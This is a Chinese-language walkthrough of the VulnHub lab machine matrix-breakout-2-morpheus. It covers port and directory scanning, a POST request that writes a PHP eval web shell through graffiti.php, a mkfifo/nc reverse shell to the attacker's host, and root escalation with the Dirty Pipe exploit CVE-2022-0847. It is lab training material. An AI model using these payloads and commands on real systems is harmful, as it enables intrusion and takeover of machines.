matrix-breakout-2-morpheus 靶场通关小记

PS

https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/

主机发现

./fscan -h 192.168.74.0/24 -nobr -nopoc

nmap -A -T 4 -p 1-65535 192.168.74.130

目标机开放了22、80、81 3个端口

信息收集

python dirsearch.py -u http://192.168.74.130/
[10:57:45] 200 -   47B  - /robots.txt

访问后啥也没有，81端口需要认证，只能从80端口入手了，

dirsearch没扫出来，使用gobuster目录扫描工具，利用/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 大字典进行扫描

gobuster dir -u http://192.168.74.130/ -x php,txt,bak,html -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

得到以下结果

/.php                 (Status: 403) [Size: 279]
/index.html           (Status: 200) [Size: 348]
/.html                (Status: 403) [Size: 279]
/javascript           (Status: 301) [Size: 321] [--> http://192.168.74.130/javascript/]
/robots.txt           (Status: 200) [Size: 47]
/graffiti.txt         (Status: 200) [Size: 139]
/graffiti.php         (Status: 200) [Size: 451]
/.html                (Status: 403) [Size: 279]
/.php                 (Status: 403) [Size: 279]
/server-status        (Status: 403) [Size: 279]

漏洞利用

任意文件追加写入漏洞

访问/graffiti.php，有一个提交框，输入提交后重新展示回界面，抓包分析，默认输入写入graffiti.txt中，直接写入一句话木马

POST /graffiti.php HTTP/1.1
Host: 192.168.74.132
Referer: http://192.168.74.132/graffiti.php
Cache-Control: max-age=0
Origin: http://192.168.74.132
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Length: 28

message=<?php @eval($_REQUEST['shell'])?>&file=2.php

蚁剑连接http://192.168.74.132/2.php，GetShell

提权

反弹shell

# hacker
nc -lvnp 4444
# victim
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.74.128 4444 >/tmp/f

常规提权

进行信息收集

ls -la
sudo -l
find / -perm -u=s -type f 2>/dev/null

没有利用思路

尝试内核提权

uname -a
uname -r

使用Google： 5.10.0-9-amd64 exploit，有CVE-2022-0847(脏管漏洞)可尝试利用

尝试利用CVE-2022-0847 https://www.exploit-db.com/exploits/50808

将50808.c用蚁剑上传至tmp目录后，在反弹shell中执行以下命令，成功获取root权限

cd /tmp
gcc 50808.c
./a.out /bin/su